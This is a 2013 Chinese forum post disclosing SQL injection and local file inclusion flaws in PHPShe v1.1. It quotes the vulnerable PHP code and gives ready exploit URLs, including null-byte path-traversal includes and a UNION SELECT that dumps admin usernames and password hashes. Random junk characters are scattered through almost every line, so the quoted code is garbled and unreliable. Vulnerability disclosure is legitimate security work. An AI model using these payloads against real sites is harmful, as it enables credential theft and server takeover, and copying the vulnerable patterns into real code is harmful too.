找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2389|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/& p) h9 b" S: u' t8 A" }
/* Phpshe v1.1 Vulnerability
) P& b' o) u; d* B0 v% W/* ========================
& v3 r# F6 Z7 c/* By: : Kn1f3
$ W) s! q  U0 z/* E-Mail : 681796@qq.com
' q! |* d1 E2 x4 D' n, R$ ?. k/*******************************************************/) Z1 W1 w8 U6 w
0×00 整体大概参数传输7 y0 J4 D. T* B! G9 m1 A1 k# p
7 k5 y- x  w0 M& k) t
* y( f( h0 @) o6 F; s% F
1 K7 u) k% ]/ Z& Y: C7 H
//common.php
5 ~& P. g& i$ a8 [: P+ \4 d' R$ ~if (get_magic_quotes_gpc()) {
# `0 ^  D4 [: m- w0 }!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');0 T; c& Q2 [- F. X$ ~5 ^
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
+ ]. ~6 j  @( V. A8 O) E$ y}
9 }- }' S; S( ]; kelse {
- [) @+ j% n4 T& l7 N!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');# L( B9 i$ e5 G' Y/ w2 E2 _- d# e
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
4 y; J$ a+ f! A& K# g}
+ g. k! I- ~: v0 Rsession_start();
5 ~3 I6 D9 h& h/ K1 {8 F!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
- B; ~: _( j6 q!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');/ i' q# \, J: t7 e1 u0 Z
8 @% W) {) G% ]& }0 R
0×01 包含漏洞
3 @  T+ X# }$ s7 d: @ ) c- o3 Q# f; t6 B3 `3 h

: v# @- d* r! e* ^/ o( A//首页文件# \; F4 ]! h6 D/ A
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);) a, O* S% v' @. X
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
% g& G9 [+ M; Gpe_result();
; W9 o9 e: o  x?>
6 ^; W4 z4 z# G3 E; G6 x. q1 V9 T$ P//common 文件 第15行开始5 f; E, A1 k0 u1 w" C" I/ E% U
url路由配置$ v9 P6 R9 e, i2 t4 e! U4 J# m
$module = $mod = $act = 'index';3 ^% u# g* u  r5 W1 h; x% G
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);3 v/ K/ d$ B* Y) A: H. u" t
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);0 U$ O6 k/ w( m3 l: S7 x
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
& |) W$ K& s; D9 o/ N9 z: J//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
' S  ?! d9 j- o


1 z" [9 E6 B% u- ]7 O, a' o
) V4 \2 f; y# o3 j6 p& Y 0×02 搜索注入
* @2 [- Q2 m# Q! Y! x 9 M$ V1 K% H' ^9 k( P$ r
<code id="code2">

//product.php文件
: d; g  {4 {0 fcase 'list':+ N: }6 K1 D& M6 \6 U4 q% C
$category_id = intval($id);
# {2 @4 G/ ~  V4 g- L$info = $db->pe_select('category', array('category_id'=>$category_id));
4 s$ m6 F) {7 D3 i5 {//搜索
5 j5 ]8 Y2 m. e. ^$sqlwhere = " and `product_state` = 1";, ~0 o4 n* T$ a; a  k* k4 f
pe_lead('hook/category.hook.php');
9 I* _8 `5 w# [# Cif ($category_id) {
* T$ X6 h' b+ g) Ewhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
0 K+ a2 b& r4 M}, s" U; K: B+ h8 D
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
1 y9 e, V9 o- G8 Z, b+ A1 iif ($_g_orderby) {
  h! [% F. \5 m3 Z7 K6 z$orderby = explode('_', $_g_orderby);
# _9 y; n/ r0 G6 _0 ?/ W$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
9 H  d8 x& @. n+ L7 P5 Z; V}* D/ C2 M$ e1 ]
else {; \8 K9 D$ d/ j8 ^
$sqlwhere .= " order by `product_id` desc";% m5 U' E3 g5 [6 z
}! m% N8 G0 w! j
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
9 ?+ b* q  M( c: }7 o+ w//热卖排行
- {% `* q& K' e) E$product_hotlist = product_hotlist();2 d# n1 c* c& r% Q' `: C1 G
//当前路径
- V2 c  P1 g7 t# \$nowpath = category_path($category_id);
" _! x6 ?  |5 S) A7 H$seo = pe_seo($info['category_name']);# N; i+ R$ U6 \0 C" M3 S
include(pe_tpl('product_list.html'));
/ Y5 V' x- r8 e+ }0 |8 p. a: I//跟进selectall函数库
. r  t5 h" \" y" ipublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
0 ?! p# D  S' \) M{
+ d) ~+ u# n  @3 C1 g" @( X//处理条件语句
" d6 P9 \2 W: A( O8 d* i$sqlwhere = $this->_dowhere($where);
! e2 Y7 `1 X' g- oreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
# e8 o7 S! j/ A8 E( |; M}
( r$ A: y: E& c/ r1 _//exp6 k- H$ n- c. C7 S1 B! X
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
3 b6 p4 ~; l0 g; S* s

</code>" ^- w* ?, F& @3 b- O2 l
/ T" F( a9 d2 k: J& ^/ x% @
0×03 包含漏洞2
& r( X' g. Y4 p6 c 1 ]1 l3 t: S' z+ Z' s) a
<code id="code3">

//order.php

case 'pay':


/ O, C, m; [) d# z$ \$order_id = pe_dbhold($_g_id);


% B0 X2 D, H' J  }) s' g' s1 H2 U# L$cache_payway = cache::get('payway');

6 \! L3 [1 K/ F  D# t$ a5 @
foreach($cache_payway as $k => $v) {

0 W" p1 J1 P" G9 t
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


) `1 G; E5 i6 X- V& Aif ($k == 'bank') {


% u$ W2 F) U8 |4 P" L3 Y$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


, D6 |9 d9 O9 u; b9 p' Z}


: Q7 g9 [2 M/ m3 c$ r7 S1 Q# W1 e}


8 e5 j% ]+ D/ X1 a8 q$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


) G. b) F- a! B& u9 t( n0 I" A! Z!$order['order_id'] && pe_error('订单号错误...');

, s% L8 r) u  ^0 L9 [2 ]
if (isset($_p_pesubmit)) {

7 Q, }0 w- E; S
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


1 C* a0 J) j8 h3 t8 J$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

( L$ Q: s6 _; s7 a  i0 c
foreach ($info_list as $v) {


) ^2 L* }6 r; C$order['order_name'] .= "{$v['product_name']};";3 q6 C* ?6 w7 v4 ~; X


$ d. D% W# F! Y}


9 M; i: v% z  `# a+ [3 p9 @. _echo '正在为您连接支付网站,请稍后...';

/ g! x' ~  j9 T& @( U: U3 n
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


2 n; A! p' F5 t. a3 _% Y0 h4 W- ]}//当一切准备好的时候就可以进行"鸡肋包含了"

) R6 t6 p; T# L- W# d# L
else {


$ i9 _8 p! l+ j7 _1 qpe_error('支付错误...');

8 N( N: V, P- R1 Z% o
}


& r3 i* S; X2 H. y6 a}


. b& ~% V" }) H! ?* Z$seo = pe_seo('选择支付方式');


' f" c0 A" L& s! D4 C/ n' m$ uinclude(pe_tpl('order_pay.html'));

! e0 p4 @: @1 s2 z
break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>' P( {' I% y( _; l' k
http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表